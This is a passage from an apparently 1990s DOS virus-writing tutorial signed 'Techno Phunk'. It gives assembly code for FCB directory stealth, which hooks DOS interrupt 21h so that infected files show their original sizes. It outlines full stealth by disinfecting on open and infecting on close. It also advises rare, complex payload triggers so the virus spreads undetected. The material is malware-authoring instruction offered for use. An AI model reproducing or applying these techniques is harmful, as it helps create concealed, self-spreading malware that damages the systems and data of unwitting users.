        It's that simple! And so useful too :)

Now, we are always on top baby :) - thus we get to work first. =]

[FCB stealth]

This is a clasic method, and is probably one of the most useful, however,  you
must know that if an archiver is running, your screwed, so disable when they run.

btw- just check for 11h and 12h being called. As, 11h = findfirst FCB
and 12 = your FindNext FCB.

Stealth_the_DIR:
        Call Int21h                          ; pushf / call combo.
        Or Al,Al
        Jnz ScrewIt                          ; if error, f' off ;)
                                             ; save all regs
        Pusha
        Mov Ah,2fh
        Call Int21h   ; agian.

        Cmp Byte Ptr Es:[Bx],0ffh ; is extended?
        Jne NotExtended
        Add Bx,07h    ; adjust
NotExtended:

; check your infection here.
        Sub  Word Ptr Es:[Bx+1Dh],Virus_Size ; Subtract virus from size.
        Sbb  Word Ptr Es:[bx+1Fh],0          ; and with Borrow

NoVirusHere:
        Popa                                 ; all regs to original
ScrewIt:
        Retf 2                               ; return.

Now, there is always the best method. And that is full stealth. Now, you must
note that there are a few ways of doing this, and it all depends on your
virus itself. However, one is Disinfect on open, infect on close. And the other
is redirection, which is redirecting to a clean copy (companion and mbr/boot viruses)

Arg! I forgot ONE type of stealth, and that is the stealthing of windows directory
listings. These are called on functions: 7?? and 7?? (find first/next of sorts).
This type of stealth tends to be a little more complex, but is doable.
I havn't the time to write some source, or even figure it out right now...
So, look at the source of say, IDEA (Spanska's baby)...please forgive me :)

Stealth for Boot/Mbr Viruses - See my article on mbr/boot infection.

[Intelegent Viruses]

Well, HOW in the world, can a virus be "intelegent", tp? I hear you saying, as
you think about how a virus is "just" a program. Well, folks, it's not the virus
that is intelegent, it should be you :). A virus is actualy, an extention of
the coder, after all, the coder is the one who has thought of it all. So, one
must be crafty when coding there virus. Yes, all the above ideas and things
are definatly "Crafty" fetures, as they are like shells of a turtle, they
protect the virus itself. But, wait a second, isn't there at least ONE little
part of a average virus that we left out? Yes, we did, we left out the very
important, Payload :). Now, let me ask you something....is it SMART to activate
just any time? like, for example, to ALWAYS activate on the 3rd of November?
Or ALWAYS on Friday the 13th? No, not at all...put it this way, if a biological
virus was to go around manifesting itself in all kinds of ways, it's probably
going to be caught quickly, and not have time to bread, also, it will be in
the lab quicker, with people trying to find out what new virus it is. So,
what can we do to make our virus smarter? Well, lets think for a bit. First of
all, we don't want a GOOD host to be alarmed, because, after all, they are
the ones who are helping us move around :). We really don't care about less-
valued distributers, so, we can manifest around them, as, they will learn
there leason :).

Another thing, is to depend on certain things, that a lot of viruses, simply
do NOT do. Make the virus payload complex to go off...like setup this senario:

- Only activate when CMOS - in al,40h (timer) = 0
- Then, make sure that seconds are less than 10

Maybe you don't want you virus to be this rare, but it'll help! :)

O.k, this was fun, heehee, hope you learned something!

                                                        - Techno Phunk -
                                                      tinet@sourceokfaos.com
